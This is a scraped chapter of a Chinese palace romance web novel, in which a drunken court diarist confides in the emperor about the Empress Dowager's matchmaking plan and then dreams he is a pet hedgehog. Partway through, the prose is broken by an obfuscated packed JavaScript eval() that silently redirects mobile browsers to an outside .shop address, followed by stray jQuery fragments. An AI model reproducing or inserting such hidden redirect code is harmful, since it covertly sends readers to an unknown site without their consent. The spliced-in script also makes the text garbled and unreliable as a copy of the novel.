文趣网 > 其他小说 > 起居郎总是睡不醒 > 16. 醉酒
    “听爱卿这么说,你很行?”赵序说:“很能喝?”

    江南枝红扑扑的脸蛋,天旋地转,这一杯比平常花酒一坛都要厉害。

    陪皇上喝酒得把人陪尽兴,看着人一脸期待,又咬牙拿起酒杯。

    “必须行。”

    两大坛酒就放在桌上,江南枝看着黑压压的两坛,心中倍感压力。

    赵序丝毫不给他缓冲的时间,第二杯喝完立马就举第三杯,江南枝紧赶慢赶,成功给自己灌多了。

    花酒刺激着情绪,江南枝想到了今天一天的事,鼻头一酸,也不记得对面坐的是何等人物,托着腮就开始倒苦水,说:“皇上,您都不知道,我愁死了,那萧筠臬就没长一张老实本事的脸,玉新怎么能跟他呢。”

    赵序:“朕的起居郎都是朕亲自挑上来的,不信他总要信朕。”

    “这倒也是。”江南枝承认道:“都是挑上来的起居郎,那应该和我差不多,有能力有脑子还有漂亮脸蛋。”

    这么说着,江南枝很满意的双手捧着自己的脸蛋,眼睛眯眯着。

    上京城就没人比他更好看。

    太后满意的孙宛,都不及他三分容颜。江南枝嘟着嘴想。

    一张小脸上挤满各种表情,眨个眼变个样,赵序觉得有意思,在他的脸颊肉上一捏,说:“怎么和小时候一个样。”

    江南枝吃痛,怨愤的看着使坏的人——

    笑起来的赵序好像比他还好看。

    明明那么凶,一颗小虎牙长得却那么圆润。

    还有梨涡……

    沾染着花酒的薄唇。

    微抿似含朱砂印,轻启如绽玉兰香。

    如果赵序能一直这么对他笑,他一定移不开眼睛。

    江南枝感到口干舌燥,强行离开还在作乱的手,饮了口酒润喉,成功又被呛到了。

    “皇上小时候见过臣?”

    赵序点头:“从前去你府上寻先生,迷路在后院见过你一次。”

    小时候,后院,赵序。几个关键点都没有勾起江南枝的记忆,思来想去还是没忍住好奇,询问着两人小时候的一面之缘。

    “你爹让你读书,你不愿意就躲在池塘边的柳树下睡觉,还把看家狗放出来给你遮阳。”赵序骂道:“真是没脑子,那畜生常年被拴着,你给它放出来,自己攥着绳睡觉,它能满足吗?”

    江南枝眨着眼睛,傻了,“还有这种事,后来呢?”

    赵序说教没结束,说两句后,看着眼前人都冒着傻气。

    “你那个时候年龄是小没错,但看大小还看不出来吗?那狗站起来比你都高一个头,怎么敢的。”赵序:“你不陪它玩,那狗就拽着你跑,还敢在池塘边,简直蠢蛋。”

    “要不是当时我正巧路过,你的狗早就带着你去喂锦鲤了。”

    倒霉孩子,倒霉狗,害的他吃了个狗啃泥,尊贵的皇子在臣子家闹的这么狼狈,赵序真是又气又恼。

    骑射打猎和动物缠斗时都没这么脏过。

    倒霉孩子当时半只脚都掉进池塘里,倒霉狗更是在水里扑腾不停,赵序三步并两步上前,一手环着江南枝,一手还得跪着去捞狗。

    “把狗绳子松开,继续拽着我拉不住你的。”小赵序说。

    小江南枝拽着绳子向岸上拉,哭腔都被这一吼吓出来了,委屈巴巴说:“绳子系在手腕的,现在解不开,你可不可以不要凶我啊。”

    费尽九牛二虎之力,小赵序才给一人一狗拽上来,还没等开口训斥,下人就赶了过来,匆忙给这哭唧唧的小少爷抱走了。

    只留下不知是从来的乞丐小孩,又脏又丢脸还惹一肚子火。

    做了回英雄,结果零个人记得,等小赵序找到江延清,江延清只送他一句,“天啊,您这是来时掉泥坑里了?身边人怎么伺候的。”

    “呵。”

    是啊,他当时为什么要让宫人在府外等着,跟进来就不会有这么多麻烦事了。

    赵序足足后悔到回宫。

    偏偏赵津也是个没眼力见的,没完没了的问赵序,传闻中的江南枝什么样。

    江南枝拆下头上的发带,取下簪子,带了一天实在头疼,他揉着头,说:“有点印象,皇上对臣居然还有救命之恩。”

    江南枝抱拳,一脸认真严肃,如果忽略掉醉酒的潮红。

    “臣无以为报,只能以身报答皇上。”

    赵序:“胡说什么。”

    江南枝解释说:“臣这条命就是皇上的,您说一臣绝不说二,臣就是您最忠最忠最忠的臣子。”

    “首先,你这条命,朕本来就说了算,其次,朕说一难道你敢说二?”赵序歪头,笑得温柔却让人不寒而栗,说:“最忠诚?难道朝堂还有对朕不忠的?”

    “自然没有。”江南枝喝多了,少了平日对赵序的恐惧和忌惮,说:“皇上,我发现你这人太较真,人家这是向您表示忠心。”

    语气中带着撒娇和埋怨的调调。

    赵序很享用。

    “好吧,那朕接受你的忠心了。”赵序说:“既然忠心可不能有事瞒着朕。”

    江南枝:“不会的。”

    “那你同朕讲讲,今日为什么要带朕去逛情人会。”赵序问。

    江南枝警铃大作。

    赵序不住追问道:“嗯?怎么不说,爱卿做了亏心事不好意思同朕讲吗?”他叹气,又说:“才刚刚和朕表了忠心,这半杯酒都没下肚,就做不得真了。”

    “没有。”江南枝脱口而出。

    说还是不说?

    其实……这也不算什么大事……他答应太后也是为了皇上好,说出去也没什么的。

    赵序一双眼眸直勾勾盯着人看,不催促但是很期待,一下一下敲着桌面,耐心的等着人回答,看的江南枝心烦意乱,欲言又止。

    “是太后娘娘。”江南枝垂下眼睫,用蚊子一样大的声音说:“太后娘娘看您后宫空旷,心急如焚,自觉失责,又中意孙宛姑娘,让臣带您出去见见。”

    空气一下凝滞住,有节奏的敲声停了,江南枝一冷,大脑跟着清醒不少。

    不知道是不是错觉,江南枝感觉赵序的声音都低沉不少,他只轻飘飘说:“原来如此。”

    紧接着又说:“太后再找你,你便回了他,说朕现在后宫有爱卿,不劳烦他填人。”

    江南枝汗颜,说:“这臣怎能算后宫人呢,皇上您说笑了。”

    “怎么不算?”赵序反驳道:“宫人给你配了,就连宫殿也是皇贵妃以上才能独住的落梅宫,你宫内任何事情你全权做主,就算那孙宛真的入了宫,待遇也远不及你现在,告诉朕怎么不算?”

    江南枝彻底无话,赵序漆黑的眸底有了怒意,说出的话看似合理,其实狗屁不通。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17875131|212371||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>江南枝没有傻乎乎的去争辩,主动罚酒,说:“是臣失言,臣自罚一杯。”

    酒量达到极限,这一杯强咽下去的结果,就是江南枝一头栽在桌子上。

    “皇上,臣头有点沉,可以趴着和您说话吗?”江南枝声音含含糊糊,每个字都黏在一块。

    赵序没搭理这个醉鬼,趁人还没睡着,赶紧问:“太后给你什么好处了?别说你是操心朕。”

    江南枝闭着眼睛,靠着仅存的意识回答说:“太后娘娘答应我了,成功了就让我和大家一起排班,还能回家住,也不用天天晨跑,好累的。”

    赵序沉默半晌,说:“这种事你不来求朕,反倒相信别人,江南枝你脑子没病吧。”

    江南枝不满:“太后娘娘位高权重的,总不会骗臣吧。”

    赵序:“她是不会骗你,可若是朕真的不答应,你以为她能为了来求朕,还是为了你逼朕?”

    “那你怎么这么坏。”江南枝糯着嗓音嗔怪,又像是睡梦中的呓语。

    说完这句话后,江南枝大脑空白,彻底睡了过去。

    灵魂脱离肉身,飘过一片虚无,再次睁眼是陌生又带着熟悉的地方。

    全世界放大数十倍,江南枝没了第一次的恐慌,打个了不存在的酒嗝,作为旁观者占据着吱吱的视角,看着‘赵序’的背影。

    黑丝绸的睡衣,不带一丝褶皱,阳光晃得波光粼粼,松垮垮的挂在赵序身上,从背影看过去,白皙的后颈,宽肩窄腰。

    身材真好。江南枝想。

    吱吱似乎非常粘赵序,见到人坐在摇椅上看书,倒腾着四条腿目不斜视跑过去,从正面看,赵序这次带了金丝边眼镜,吱吱叫出声试图引起人注意。

    赵序弯下腰,清晰的腹肌暴露在江南枝眼里,就连胸肌都若隐若现,他一只手捧着吱吱放到身上。

    江南枝不解,衣服怎么这么不合身。

    这里的赵序难道没有钱买合身的衣服吗?

    这么说来,这里的赵序住的宅子,比太傅府小了都不知道多少倍,也一点不金灿灿的,除了黑白灰没别的色了。

    也不全是,三层独栋别墅,最靓丽的就是赵序卧房的一个角落,两个刺猬小窝,一个绒毛一个凉垫,大面积的青色上是五彩斑斓的小图案。

    几步一个小玩偶,是吱吱的小玩具,还有一个超级大箱子,里面全都是吱吱的小衣服。

    吃的喝完玩的用的,中央空调每日恒温,简直就是吱吱的小天堂。

    好穷。

    这里一点都配不上赵序。

    赵序就该住在偌大辉煌的皇宫。

    即便只是在梦中,即便这只是顶着赵序的那张脸。

    和这贫瘠的地方也不适配。

    一个不留神,眼前陷入一片黑暗,皮肉的温热贴着刺猬的肚子,吱吱伸出舌头舔了舔,身下猛地一抖。

    “再不乖就不让你趴。”

    赵序下了通牒,吱吱也很吃这套,‘吱’了声就真的乖了下来。

    吱吱不知道什么时候顺着睡衣钻了进去,此刻就在赵序腹肌上趴着。

    江南枝的脸烧红,这才反应过来自己现在在什么地方。

    虽然也不是自己。

    可是实实在在的触觉和嗅觉都传过来。

    淡淡的檀木香。

    吼!

    真是只不知羞的刺猬。